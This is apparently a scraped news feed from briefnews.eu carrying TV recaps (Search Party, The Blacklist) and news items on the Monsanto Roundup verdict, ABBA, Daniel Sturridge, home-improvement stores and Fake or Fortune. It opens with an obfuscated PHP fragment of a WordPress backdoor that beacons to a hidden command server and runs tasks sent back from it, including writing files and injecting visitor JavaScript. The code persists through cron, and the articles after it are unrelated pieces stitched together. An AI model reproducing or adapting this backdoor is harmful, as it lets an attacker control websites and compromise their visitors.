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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); 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Look, we all know Dory and Drew are guilty, but parting ways with lawyer Cassidy Diamond on the sole basis of her not believing their (fake) story is absurd! Is Dory so invested in her lies that she actually believes they’re innocent? It seems she may have also parted ways with her sanity and rationality.

So Dory’s going to tackle the rest of the trial herself, but before we return to court, we start with Chantal who receives a troubling phone call from William telling her to burn everything. Seconds later, the FBI busts in claiming she’s under arrest for securities fraud, mail fraud, wire fraud, money laundering and a slew of other crimes. Will Season 4 be held entirely in prison? (Yeah, we’d still watch that.)

At a meeting with the four (former?) friends, Drew slams the murder weapon down on the table, demanding to know what happened to April. Portia, who now seems all rekindled with Dory following her rat-infested kidnapping, jumps to Dory’s defense. Dory denies knowing April’s whereabouts, but Drew doesn’t believe her. “Will you just admit that we killed Keith because you don’t even say that anymore?” He thinks her brain is sick and that she actually thinks she’s innocent, which causes him to start losing his mind. “You remember the obelisk, Dory?” he asks. “I never touched that obelisk… you did,” she replies. He counters: “I don’t know who you are. I miss the old Dory.”

Their day of reckoning finally comes and in court, we’re treated to this magical exchange:

Portia: “Ell, do you think we’re the most famous people in the world right now?”
Elliot: “I hope so.”
Portia: “Me too.”

Do we love these people, hate them, or love to hate them? I can’t even tell anymore, but I think it might be Option No. 1.

Prosecutor Polly gives her closing statement, homing in on Dory’s DNA being found at the crime scene and, more or less, just annihilating her character.

The time comes for Dory to give her closing statement, and she tells the court she isn’t afraid of what people think of her anymore. Despite being called a slut and a murderer and evil, she can see why Polly said what she did. But she quadruples-down on the “fact” that she didn’t do it. The police reports don’t tell the full story, she says. “I can’t know something that I don’t know, and I can’t make up answers because that wouldn’t be the truth. But what I didn’t know is that it is so scary what could happen when you are in the wrong place at the wrong time.”

She continues on, saying that she misses Keith. He was her friend and it’s awful to be accused of murdering a friend. She turns to tell Drew that she hopes they can move past this and get married. “I don’t even know who I am anymore. Inside, I’m just a little girl who wants to go home. I’m lost and I’m broken and I just want to go home, please, please,” she begs the jury. It’s such a phenomenal performance that it’s hard to tell whether or not Dory believes her own lies at this point.

When the verdict is in, the judge calls the jury back into the courtroom. The foreman reads the results and the jury finds the defendants: not guilty.

Polly barks at the jurors, telling them that they’re all stupid. “Watch where you go because murderers are walking around! Stupid!” (Michaela Watkins is always a treat, isn’t she?)

After court is adjourned, Dory walks into the hallway in a daze, until Polly catches up to her. “Today may not be your reckoning, but there will be one. I guarantee it,” Polly says. Hmm, a bit of foreshadowing there?

Dory goes back to her apartment and takes a long, hard look in the mirror. She smiles, but then sees visions of April and Keith behind her. They aren’t there, of course, but once Dory reclaims her senses, she’s tackled hard off-screen and knocked unconscious. Her stalker apparently isn’t dead, as formerly reported, and we see him reflected in that very same mirror.

We cut back to the shaved, prison-Dory we saw in the first episode. Only she’s not in prison. She’s chained to a chair and being held captive by her stalker. (So, uhh, can we have Season 4 now-ish?)

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]]> https://briefnews.eu/search-party-season-3-finale-recap-the-verdict-is-in-are-dory-and-drew-heading-for-the-slammer/feed/ 0 The Blacklist Recap: The Verdict Is In — Plus: Which Secrets Were Revealed? https://briefnews.eu/the-blacklist-recap-the-verdict-is-in-plus-which-secrets-were-revealed/ https://briefnews.eu/the-blacklist-recap-the-verdict-is-in-plus-which-secrets-were-revealed/#respond Sat, 23 Feb 2019 04:14:22 +0000 http://briefnews.eu/the-blacklist-recap-the-verdict-is-in-plus-which-secrets-were-revealed/ The Blacklist crossed off not one but two names on Friday, courtesy of a two-hour episode that, among other things, brought Red’s trial to a tense conclusion.

But the jury’s verdict was hardly the only highlight of this super-sized installment: By the time the dust had settled on these eventful two hours, family secrets had been revealed, Liz’s betrayal of Red took several surprising turns, and the seeds of a potential romance were planted.

Let’s recap the major happenings of “Marko Jankowics” and “Minister D”:

* In the first hour, Liz finally tracks down Marguerite Renard, the nurse practitioner who was in the room when Red’s impostor went under the knife to become Raymond Reddington all those years ago. But Liz and Jennifer’s plan to speak with Marguerite goes terribly awry, resulting in Jennifer getting kidnapped and beaten by a drug kingpin with whom Marguerite is involved.

The only upside to Jennifer’s abduction? She gets some face time with Marguerite, who insists that she never actually spoke to Red’s impostor or the Russian woman who arranged for the surgery to happen. Jennifer quickly pieces together that Katarina Rostova — aka Liz’s mother — is the Russian woman in question, and she’s confused as to why Katarina would have been involved with Red’s impostor at all.

Jennifer’s kidnappers ultimately return her to Liz, and Jennifer admits that this lifestyle just isn’t working for her; she kept Red out of her life for years, and now she fears she’s becoming him in her pursuit of the truth. For that reason, she’s taking herself out of the equation and leaving Liz to finish the job solo. “This will end,” Liz tells her half-sister while hugging her goodbye. “And when it does, I’ll find you.”

* In an effort to track down Jennifer’s captors, Liz goes to Red for help — omitting, of course, why Jennifer was taken in the first place, which would reveal that she and Liz were trying to speak with Marguerite Renard. But even when he’s behind bars, Red has a way of finding out the truth, and this time is no different: Later in the episode, he learns that Marguerite is tied to Jennifer’s kidnapping, and he’s able to connect the dots that Liz must know he’s an impostor if Marguerite’s name is coming up after all of these years. (Red, of course, continues to play it cool when he’s in Liz’s presence, resulting in a Friends-esque, “They don’t know that we know they know we know” situation.)

The Blacklist Season 6* Liz finally reveals to Ressler that Red is actually an impostor, which puts the typically straight-laced Ressler in a bit of an ethical pickle. He ultimately decides to help Liz in her pursuit of Red’s real identity — and if I didn’t know better, I’d say The Blacklist is suddenly setting Ressler and Liz up for a little romance down the line. Flirting? Check. Bonding over their previous failed relationships? Check. Ressler breaking his own moral code to help Liz? Check, check and check. (Also? I’m taken aback by how much I suddenly ‘ship it.)

* In the second hour, Dembe and Red finally hear the 911 call that ultimately got Red arrested. It clearly isn’t Liz’s voice on the recording, but Dembe eventually tracks down the real caller: a homeless woman who had accepted $ 100 from a dark-haired female in exchange for calling the cops. Dembe shows the woman Liz’s photo, and she insists that it wasn’t Liz who paid her to make the call — but Dembe later realizes that it was Jennifer who had paid the woman, and she and Liz must be working together to betray Red.

Dembe confronts Liz with this accusation, and she admits (rather quickly) that she is indeed Red’s traitor. But she knows Red will never forgive her if he finds out she double-crossed him, so Liz asks Dembe to keep this secret for her, much like he’s kept all of Red’s secrets for decades. Dembe reluctantly obliges, lying to Red later that day that Liz had nothing to do with the 911 call that got him locked up — and Red nearly doubles over in relief after learning that Liz didn’t (well, “didn’t”) betray him, after all.

* The last order of business is Red’s trial for treason, which comes to an end in this two-parter. Red insists to the jury that he never betrayed the United States (which, as a reminder, is the only thing he stands accused of in this particular trial); rather, he was framed by Katarina Rostova, who was determined to ruin Red’s reputation once he learned she was a KGB officer and that she reported to the Cabal. (Relatedly, remember the Cabal? Feels like a lifetime ago.)

Red’s potential acquittal ultimately rests on one important piece of evidence: a tape recording from Dec. 7, 1990, which should prove that Red — that is, the real Red — was framed. Thanks to the latest blacklister, known as “Minister D,” the task force does acquire the tape in question and presents it at Red’s trial. It’s a recording of a conversation between Katarina and Alan Fitch, the now-deceased former director of national intelligence (played in the first two seasons by Alan Alda).

During their chat, Katarina reveals that Reddington knows everything, particularly that she answers to the Cabal. Fitch tells Katarina to kill Reddington, but she insists that Red’s death would ultimately reveal the existence of the Cabal, since Red is a naval officer and his suspicious death would certainly be investigated. Instead, she believes the better play would be to frame Red for her treasonous acts and destroy his credibility. Not only is she doing this to keep the Cabal a secret, but because “I love his daughter — my daughter,” she tells Fitch on the recording.

The jury is sufficiently swayed by the audio they’ve heard, and Red is found not guilty on this particular charge. But Liz — who also heard the recording — is shocked and hurt to learn that her mother intentionally framed her father all those years ago. “Whoever you are today, whatever you’ve become — it’s because of the lies she told,” Liz tells Red, though Red insists that Katarina was “between a rock and a hard place” at the time. (And while I’m not entirely sold on some fans’ long-standing theory that Katarina is Red’s impostor, I confess I’m a tad more convinced after this episode. A tad!)

With that, I hand it over to you. What did you think of The Blacklist‘s two-parter? Drop all of your reactions in a comment below.

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]]> https://briefnews.eu/the-blacklist-recap-the-verdict-is-in-plus-which-secrets-were-revealed/feed/ 0 A commission of inquiry reaches a damning verdict on Australia’s banks https://briefnews.eu/a-commission-of-inquiry-reaches-a-damning-verdict-on-australias-banks/ https://briefnews.eu/a-commission-of-inquiry-reaches-a-damning-verdict-on-australias-banks/#respond Sun, 10 Feb 2019 19:19:06 +0000 http://briefnews.eu/a-commission-of-inquiry-reaches-a-damning-verdict-on-australias-banks/ Yet the forced restructuring banks had feared is off the cards

]]> https://briefnews.eu/a-commission-of-inquiry-reaches-a-damning-verdict-on-australias-banks/feed/ 0 ABBA: Bjorn Ulvaeus gives HIS verdict on Theresa May’s Dancing Queen moves https://briefnews.eu/abba-bjorn-ulvaeus-gives-his-verdict-on-theresa-mays-dancing-queen-moves/ https://briefnews.eu/abba-bjorn-ulvaeus-gives-his-verdict-on-theresa-mays-dancing-queen-moves/#respond Mon, 26 Nov 2018 10:53:35 +0000 http://briefnews.eu/abba-bjorn-ulvaeus-gives-his-verdict-on-theresa-mays-dancing-queen-moves/

Bjorn said: “It made the news, even in Sweden.

“I think she was very brave in doing that.

“It’s a lady with not a lot of rhythm in her braving and doing something like that.

“I was kind of touched actually.”

Next year ABBA are expected to go back on tour as holograms, which will see them appear as they did in 1979.

Bjorn teased: “We’ve written a new song and recorded that and this will be sung by those digital twins.

“It’s been delayed. It was supposed to be released this autumn, but [it will] probably be in the beginning of next summer.”

Meanwhile, this September a special documentary will see their new song I Still Have Faith In You performed, while second track Don’t Shut Me Down will be seen on their hologram tour.

Bjorn previously said: “You’ll hear the voices of ABBA coming out of the mouths of the Abbatars.

“You won’t be able to see that they’re not human beings. It’ll be spooky, I assure you, but great fun and no one has done it before.”

There has not yet been an announcement about when tickets will go on sale.

Tickets may not even be released for another year if the tour is to take place in 2019 or 2020.

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]]> https://briefnews.eu/abba-bjorn-ulvaeus-gives-his-verdict-on-theresa-mays-dancing-queen-moves/feed/ 0 Monsanto loses appeal on historic Roundup cancer verdict, owes $78mn https://briefnews.eu/monsanto-loses-appeal-on-historic-roundup-cancer-verdict-owes-78mn/ https://briefnews.eu/monsanto-loses-appeal-on-historic-roundup-cancer-verdict-owes-78mn/#respond Tue, 23 Oct 2018 05:05:46 +0000 http://briefnews.eu/monsanto-loses-appeal-on-historic-roundup-cancer-verdict-owes-78mn/ Months after merging with Bayer in a bid to bury a brand that has become as toxic as its products, Monsanto has lost its appeal in a historic lawsuit that found its Roundup herbicide responsible for a man’s cancer.

In August, a San Francisco jury awarded former school groundskeeper Dewayne Johnson $ 289 million in damages in a lawsuit alleging Monsanto’s glyphosate weed killer Roundup was responsible for his non-Hodgkins lymphoma. The verdict further confirmed that Monsanto “acted with malice” in concealing the carcinogenic risks of its products for decades.

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Dewayne Johnson was awarded $ 289 million by the courts after claims Monsanto's weedkillers gave him terminal cancer.

California state judge Suzanne Bolanos has rejected Bayer’s request for a new trial, instead opting to reduce the punitive part of the damages from $ 250 million to $ 39 million, equivalent to the amount the jury had awarded Johnson in compensatory damages. This adds up to a mandated payout of $ 78mn.

In addition to spraying Roundup and its analog Ranger Pro 30 times a year, Johnson was doused with the weed killer twice in on-the-job accidents and developed lymphoma within two years of the first mishap. As much as 80 percent of his body is covered in lesions, and his doctors did not think he’d live to see the jury verdict.

Johnson is satisfied with the verdict and hopes it leads Bayer and consumers alike to behave more responsibly. “I’m hoping that it snowballs and people really get the picture and they start to make decisions about what they eat, what they spray in their farms,” he told the Guardian. He hopes to see warning labels on Monsanto products, but isn’t holding his breath.

The confirmation of August’s verdict opens Bayer up to thousands of similar suits from plaintiffs with similar claims. The World Health Organization deemed glyphosate “probably carcinogenic to humans” in 2015, yet Johnson and others like him were told in training sessions that the weed killer was “safe enough to drink.”

Evidence emerged during Johnson’s case that Monsanto was not only suppressing research that confirmed the link between its products and cancer, but may actually be paying for its own “ghostwritten” research that would portray Roundup favorably.

Monsanto was sold to Bayer in June for $ 63 billion, and the massive new firm immediately chose to retire the Monsanto name. With a sordid history that includes Agent Orange and genetically-modified seeds in addition to glyphosate, the brand name had become too toxic. The products, apparently, have retained that toxicity, despite the name change.

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TRAINER Anthony Freedman can’t fault his Everest duo, Santa Ana Lane and Shoals, going into the $ 13 million thriller at Royal Randwick on Saturday.

]]> https://briefnews.eu/inside-mail-big-bets-and-bookies-verdict/feed/ 0 Daniel Sturridge gives verdict on Chelsea screamer after joining exclusive Liverpool club https://briefnews.eu/daniel-sturridge-gives-verdict-on-chelsea-screamer-after-joining-exclusive-liverpool-club/ https://briefnews.eu/daniel-sturridge-gives-verdict-on-chelsea-screamer-after-joining-exclusive-liverpool-club/#respond Sat, 29 Sep 2018 19:51:54 +0000 http://briefnews.eu/daniel-sturridge-gives-verdict-on-chelsea-screamer-after-joining-exclusive-liverpool-club/

The England international scored an early contender for goal of the season this evening in.

With two minutes of normal time left on the clock, Sturridge – who was sent out on loan last season – beat new Blues stopper Kepa Arrizabalaga from fully thirty yards with a wicked left-foot drive, which whipped into the top corner.

Sturridge’s fourth goal of the season rescued a point for Jurgen Klopp’s men, who were minutes away from suffering a second defeat to the west Londoners in the space of four days.

An elated Sturridge said: “It was a good goal, the boys worked tirelessly throughout the game and we were unlucky not to score in the first half.

“I’d like to think I’ve scored better goals but probably not. This one was a nice goal. It was all about getting the result.

“It’s a team game and I just give my best every minute I get. It’s important to keep pushing forward and have a positive outlook on how things are going.”

Sturridge’s strike was his 50th in the league for the Reds, a goal which saw him become the seventh player to reach that benchmark for the Merseysiders.

Klopp has been thrilled with Sturridge’s performances and attitude since arriving back at Anfield from West Brom and believes his time in the Black Country did him the world of good.

“Daniel has always been in my thoughts, but he was never able to prove it [before West Brom loan],” the German said.

“We thought West Brom was a good idea for him to get minutes under his belt again, and when he came back, he was an option for us.

“It has paid off for him, it’s nice and absolutely deserved.”

On the result, Klopp said: “What a game, a spectacular football game. It was so deserved for Daniel, a really nice moment and I’m so happy for him.

“I think we made one mistake in the game leading to their goal. It’s difficult.

“We had chances, we played fantastic football. I love to win, but getting a point at Chelsea is good anyway. You can see how good Chelsea are but it’s nice to see it again.

“I know we deserved that point at least so I’m happy with that.”

will be back in action on Wednesday night, travelling to Naples to take on Napoli in their second Champions League game of the season.

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]]> https://briefnews.eu/daniel-sturridge-gives-verdict-on-chelsea-screamer-after-joining-exclusive-liverpool-club/feed/ 0 Monsanto asks judge to overturn $289m cancer verdict, claims dying man presented lack of evidence https://briefnews.eu/monsanto-asks-judge-to-overturn-289m-cancer-verdict-claims-dying-man-presented-lack-of-evidence/ https://briefnews.eu/monsanto-asks-judge-to-overturn-289m-cancer-verdict-claims-dying-man-presented-lack-of-evidence/#respond Thu, 20 Sep 2018 01:23:23 +0000 http://briefnews.eu/monsanto-asks-judge-to-overturn-289m-cancer-verdict-claims-dying-man-presented-lack-of-evidence/ Agrochemical giant Monsanto has appealed to a California judge to throw out a $ 289 million jury verdict awarded to a man who claimed that the Bayer-owned company’s glyphosate-based weed-killers, including Roundup, gave him cancer.

The company filed motions in San Francisco’s Superior Court of California to claim that the jury’s decision was insufficiently supported by the evidence presented at trial by Dewayne Johnson, a school groundskeeper diagnosed with a terminal form of non-Hodgkin’s lymphoma.

During the 2016 case, Johnson alleged his cancer was caused by years of exposure to Roundup and Ranger Pro herbicides, which both contain glyphosate – an ingredient that the World Health Organization’s cancer research agency classified as “probably carcinogenic to humans” back in 2015.

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Monsanto has applied to Superior Court Judge Suzanne Bolanos, who presided over the original trial, asking her to set aside the verdict, reduce the award, or grant a new trial.

Johnson’s case was the first to go to trial over allegations that the ingredients used in Monsanto’s weed-killers cause cancer. Following the jury awarding $ 289 million to the school groundskeeper, the company is now facing a flood of 8,000 similar lawsuits across the United States.

Shares in Monsanto’s parent company Bayer plummeted after the August 10 court ruling, and have yet to recover from such a fall – currently trading about 20 percent below its value prior to the verdict: 73.30 euros ($ 85.45).

Germany’s Bayer released a statement on Tuesday, claiming that “the jury’s decision is wholly at odds with over 40 years of real-world use, an extensive body of scientific data and analysis … which support the conclusion that glyphosate-based herbicides are safe for use and do not cause cancer in humans.” The company added that Johnson failed to prove glyphosate caused his cancer, and that the scientific evidence he presented at trial “fell well below the causation standard required under California law.”

A hearing is set for the motions for October 10.

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  • Home Depot, Lowe’s, and Ace Hardware, three of the biggest home-improvement stores in the United States, offer a similar product selection and help with home-improvement projects.
  • Though the stores sell many of the same products, Home Depot‘s setup appears to be geared more toward professionals — like contractors and interior designers — than Lowe’s and Ace Hardware’s.
  • Home Depot reported on Tuesday that same-store sales were up 8% in its most recent fiscal quarter, Lowe’s reported in May that first-quarter comparable sales were up 0.6%, and Ace Hardware reported in May that first-quarter sales were up 2.2%.
  • We visited locations of both retailers and found that Home Depot had significantly more to offer and was nicer to shop at than its competitors. 

Home Depot, Lowe’s, and Ace Hardware compete to be the go-to store for all things home improvement.

They stock everything you might need to fix up your home, including kitchen and bath fixtures, screws and bolts, paint, and tools. All three stores offer in-store pickup and do-it-yourself tips.

Home Depot has 2,284 stores in North America, Lowe’s has about 2,370, and Ace Hardware has 4,418 stores, most of which are independently owned and operated. However, Home Depot and Lowe’s stores are typically much larger than Ace Hardware stores.

When visiting outposts of all three retailers, we noticed that Home Depot felt like a massive warehouse, whereas Ace Hardware felt more like a local hardware store without the flashy showrooms and massive promotions that Home Depot had. Lowe’s fell somewhere in the middle of the two stores — it was comparable in size to Home Depot but didn’t feel as much like a warehouse.

All three home-improvement stores have performed well as of late. Home Depot reported on Tuesday that same-store sales were up 8% in its most recent fiscal quarter, Lowe’s reported in May that first-quarter comparable sales were up 0.6%, and Ace Hardware reported in May that first-quarter sales were up 2.2%.

The target market is another notable difference between the stores. Home Depot tends to appeal more to professionals — like contractors, interior designers, and plumbers — while Lowe’s and Ace Hardware welcome a more do-it-yourself crowd.

In addition, Home Depot appears to be the store of choice for millennials. In a Bank of America survey of 1,000 millennials, reported by US News, 64% said Home Depot was their top choice for home-improvement shopping.

Here’s what we found when we visited Home Depot, Lowe’s, and Ace Hardware stores in New York City:

I visited the Home Depot in the Flatiron District.

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It felt like I was stepping into a warehouse, with high ceilings and industrial lighting. On the left were small products like dish soap and cleaning supplies. To the right was the start of the flooring department.

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Home Depot had an astounding selection of everything. There was a huge variety of styles and patterns available for each type of product.

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The BBC show saw Fiona Bruce investigate a painting by William Nicholson belonging to guest Lyn in the episode aired this evening.

Viewers were gripped to see whether the painting, Glass Jug with Plates and Pears, was in fact genuine after it had been bought for £165,000.

There were some doubts along the way as Fiona visited a former forger, John Myatt, who had done one Nicholson forgery.

Fiona unveiled the painting to him, but although he said he had painted a jug on the one he did, it was not the one in this picture.

A handwriting expert was also on hand to offer some advice with after an in-depth analysis as he concluded it was 100 per cent authentic.

But as the narrator explained, handwriting alone would not be enough to prove its authenticity.

After pigments from Nicholson’s paintbox were matched to Lyn’s painting as well as a valid existing work of his, it was looking hopeful.

In fact, it was looking very positive for Lyn when at the end of the show Fiona announced what the final verdict was.

The result was given to the show by the leading authority on Nicholson, Patricia Reed via a letter.

But it wasn’t good news as Patricia said there was not sufficient evidence to validate the work of art.

Fiona struggled to find the words to comfort the woman as she said: “Lyn, I don’t know what to say.”

“I was expecting good news,” Lyn admitted to Fiona and art dealer Philip Mound.

Fiona then divulged her shock too as she said: “So was I.”

Lyn confessed her disappointment at the judgement but she made it known the feeling wouldn’t last forever as she said: “This too shall pass.”

It was clear Fiona was still reeling from the decision as she discussed the decision with Philip.

She exclaimed: “I’m shocked, I’m genuinely shocked by that verdict.

“I didn’t expect that, but ultimately it is down to Patricia Reed.”

Meanwhile, viewers were absolutely gobsmacked that the painting was written-off and took to Twitter to comment.

One viewer wrote: “Everything added up. Disappointing end. It’s a Nicholson. Feels like someone needs to admit they got it wrong. #fakeorfortune.”

“Just got fully invested in #fakeorfortune then, and now I’m fuming!” another exclaimed.

“So shocked at the verdict on #fakeorfortune I thought they’d cracked it – sad that it comes down to one person’s opinion in the end,” a third added.

Fake or Fortune continues Sunday at 9pm on BBC One.

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